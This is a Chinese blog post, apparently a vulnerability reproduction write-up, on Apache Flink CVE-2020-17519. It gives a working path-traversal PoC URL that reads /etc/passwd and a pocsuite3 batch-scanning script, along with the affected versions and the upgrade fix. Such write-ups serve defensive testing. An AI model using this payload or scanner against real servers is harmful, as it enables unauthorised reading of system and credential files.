漏洞复现 Apache Flink CVE-2020-17519

  • A+
所属分类:安全文章



漏洞复现  Apache Flink CVE-2020-17519

漏洞简介


Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。


漏洞影响

1.11.01.11.11.11.2

漏洞复现

poc:

# *unix/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

success:

漏洞复现  Apache Flink CVE-2020-17519

批量检测

(工具化-pocsuite3)

def _verify(self):    result = {}    if self.url.endswith("/"):        url = self.url[:-1]    else:        url = self.url    vul_paths = [        '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'    ]    for vul_path in vul_paths:        vul_url = url + vul_path        try:            resp = requests.get(vul_url, allow_redirects=False, verify=False)            re_pattern = (                r"((root|bin|daemon|sys|sync|games|man|mail|news|www-data|uucp|backup|list|proxy|gnats|nobody"                r"|syslog "                r"|mysql|bind|ftp|sshd|postfix):[dw-s,]+:d+:d+:[w-_s,]*:[w-_s,/]*:[w-_,"                r"/]*[rn])")            if resp and resp.status_code == 200:                searchObj = re.search(re_pattern, resp.text)                if searchObj:                    result['VerifyInfo'] = {}                    result['VerifyInfo']['URL'] = vul_url                    break        except Exception as ex:            pass    return self.parse_output(result)

结果如图:

漏洞复现  Apache Flink CVE-2020-17519


漏洞修复

将Flink升级到1.11.3或1.12.0



## 凑字数  

路径是指web根目录文件夹之外的文件和目录。

路径遍历漏洞(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

需要注意的是,系统操作访问控制(如在微软windows操作系统上锁定或使用文件)限制了对文件的访问权限。

这种攻击也称为 “点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。


参考:

https://www.freebuf.com/vuls/247620.html

https://github.com/vulhub/vulhub/

本文始发于微信公众号(don9sec):漏洞复现 Apache Flink CVE-2020-17519

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: